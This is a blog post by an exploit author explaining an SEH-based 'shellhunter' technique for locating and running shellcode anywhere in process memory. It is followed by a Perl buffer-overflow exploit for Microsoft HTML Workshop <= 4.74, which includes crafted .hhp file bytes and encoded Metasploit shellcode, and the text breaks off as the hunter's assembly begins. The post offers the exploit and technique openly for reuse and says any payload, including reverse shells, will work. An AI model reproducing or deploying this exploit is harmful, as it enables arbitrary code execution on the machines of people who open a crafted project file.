<p><span style="color: #808080;"><span style="color: #000000;">Okay, so what are the new features I am talking about? The shellhunter has indeed increased drastically in size (111 bytes) and the freedom that there are no character restrictions makes it even easier. With that privilege I thought of searching the <em>whole </em>memory with the shellhunter. </span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Of course there are a few problems that come to mind with that:</span></span></p>
<ul>
<li>Access Violations will occur when retrieving data from an invalid address.</li>
<li>We need to store the variable which is address currently searched.</li>
<li>The applications memory is a huge range from 0&#215;00000000 to just below kernel base which is, 0x7fffffff. The shellhunter must search through the memory in speed, so that the shellcode will be executed fast.</li>
<li>Also, but I&#8217;ll discuss about this later, the stack layout has to be repaired by the shellhunter..</li>
</ul>
<p>Wow, a <span style="text-decoration: underline;">load</span> of problems.</p>
<p>Now I will write up how I solved them.</p>
<p><span style="text-decoration: underline;">Access Violation problem when reading invalid memory</span></p>
<p>The first method that came to mind was to use the Structured Exception Handling, and that is the method I am using.</p>
<p>Basically the SEH, will handle exceptions when an exception is thrown out it will change the program flow to the address that is in SEH structure. It is in the basic form a linked list type, this is its layout on the stack:</p>
<p><span style="color: #99cc00;"><strong>[ Pointer to the next SEH record]</strong></span></p>
<p><span style="color: #99cc00;"><strong>[Pointer to exception handler code] </strong></span></p>
<p>Altogether it will occupy 8 bytes on the stack. Using it to our advantage we will need to make the &#8220;Pointer to exception handler code&#8221; point to our injected code from the overflowed buffer. And in our case, the Pointer to the next SEH record will be set to -1, which in hex form is 0xffffffff.</p>
<p>If you read the shellhunter code correctly you will say its sort of a loop. And you are right. It is a loop that it searches for the &#8220;lookout&#8221; value, if invalid, exception occurs and then again all over we set up SEH and check for &#8220;lookout&#8221;.</p>
<p><span style="text-decoration: underline;">Save the current address variable somewhere in the heap</span></p>
<p>In this problem I used the address <span style="color: #99cc00;">0x7ffdfad0</span>. Before setting up SEH, it will retrieve the variable at the address and before checking the value with a CMP, so not to lose the address, it will store it at that address.</p>
<p><span style="text-decoration: underline;">Speedy search through memory</span></p>
<p>At the beginning when the shellhunter was in a premature phase, it searched through 4 bytes at a time. Trust me, It took a lot of time. To solve the problem, I used <span style="color: #99cc00;">32</span> bytes. But this also needed to increase the amount of &#8220;lookout&#8221; values that needed to be in the memory so the shellhunter would find it guaranteed (you can see that there are over <span style="color: #99cc00;">64*4</span> bytes of &#8220;lookout&#8221; value in the exploit!).</p>
<p><span style="text-decoration: underline;">Repairing the Stack layout</span></p>
<p>This was one of the last problems I encountered when writing the shellhunter. I noticed that when SEH was called and the appropriate modules made their calls and other calculations, the stack would change. It would approximately decrease the ESP register by a couple hundred bytes. We cannot afford to have that because when the ESP register becomes a very low value, a stack overflow exception occurs, and when that is handled there is no space for any SEH to be set up! So to repair the stack I added bytes to the stack at every loop of the shellhunter also using a few pops/pushs instructions to increase the certain measure.</p>
<p>That&#8217;s all that you need to know that was added! Certainly, a shellhunter is a must-use in some cases for exploitation and I hope that you can implement the method for your exploits (do remember to credit me ;) )! If you got any problems with writing your certain exploit, and need a shellhunter, don&#8217;t hesitate to contact me at skdrat&lt;at&gt;hotmail&lt;.&gt;com (MSN Messenger).</p>
<p>Read the exploit below, and enjoy it!</p>
<p>Milw0rm exploit URL: <strong><span style="color: #99cc00;">http://milw0rm.com/exploits/7727</span></strong></p>
<p>Exploit:</p>
<pre><span style="color: #808080;">
</span></pre>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
</pre></td><td class="code"><pre class="perl" style="font-family:monospace;">&nbsp;
    <span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span>
    <span style="color: #666666; font-style: italic;"># Microsoft HTML Workshop &lt;= 4.74 Universal Buffer Overflow Exploit</span>
    <span style="color: #666666; font-style: italic;"># -----------------------------------------------------------------</span>
    <span style="color: #666666; font-style: italic;"># Discovered/Exploit by SkD                    (skdrat@hotmail.com)</span>
    <span style="color: #666666; font-style: italic;"># -----------------------------------------------------------------</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># This is a continuation of my new method, shellhunting.</span>
    <span style="color: #666666; font-style: italic;"># The exploit is far more advanced than the Amaya's as it runs on</span>
    <span style="color: #666666; font-style: italic;"># every system, partly because the shellhunter itself is very much</span>
    <span style="color: #666666; font-style: italic;"># reliable and universal.</span>
    <span style="color: #666666; font-style: italic;"># The shellhunter does the following tasks to find and exec.</span>
    <span style="color: #666666; font-style: italic;"># shellcode:-</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># 1- Searches through the whole memory of the application.</span>
    <span style="color: #666666; font-style: italic;"># 2- Installs a SEH handler so on access violations it won't</span>
    <span style="color: #666666; font-style: italic;">#    stop hunting for the shellcode.</span>
    <span style="color: #666666; font-style: italic;"># 3- Repairs stack so a stack overflow won't occur (that is what</span>
    <span style="color: #666666; font-style: italic;">#    happens when the SEH is called up, many PUSH instructions</span>
    <span style="color: #666666; font-style: italic;">#    are called from the relevant modules (ntdll, etc).</span>
    <span style="color: #666666; font-style: italic;"># 4- Improved speed by searching through 32 bytes at a time.</span>
    <span style="color: #666666; font-style: italic;"># 5- Uses a certain address in memory to store a variable for the</span>
    <span style="color: #666666; font-style: italic;">#    search.</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># It is very stable and will allow any shellcode (bind/reverse shell,</span>
    <span style="color: #666666; font-style: italic;"># dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Yeah, I guess that's about it. Took me a few hours to figure out the</span>
    <span style="color: #666666; font-style: italic;"># whole thing but nothing is impossible ;).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Oh, I think some schools use this software :) (it's Microsoft's, right?).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># You can download the app. from Microsoft's official page:</span>
    <span style="color: #666666; font-style: italic;"># -&gt;  http://msdn.microsoft.com/en-us/library/ms669985.aspx</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># If you are interested in my method and want to learn something new or</span>
    <span style="color: #666666; font-style: italic;"># improve your exploitation skills then visit my team's blog at:</span>
    <span style="color: #666666; font-style: italic;"># -&gt;  http://abysssec.com</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Peace out,</span>
    <span style="color: #666666; font-style: italic;"># SkD.</span>
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhp_data1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5B<span style="color: #000099; font-weight: bold;">\x</span>4F<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4F<span style="color: #000099; font-weight: bold;">\x</span>4E<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5D<span style="color: #000099; font-weight: bold;">\x</span>0D<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>6F<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6C<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>3D<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>0D<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6C<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>3D&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhp_data2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5B<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4C<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>5D<span style="color: #000099; font-weight: bold;">\x</span>0D&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>2E<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>6D&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$crlf</span>      <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>0a&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;"># win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>32&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>52&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4d&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>56&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>77<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>73&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>69&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>31&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>52&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">#/----------------Advanced Shellhunter Code----------------\</span>
    <span style="color: #666666; font-style: italic;">#01D717DD   EB 1E            JMP SHORT 01D717FD            |</span>
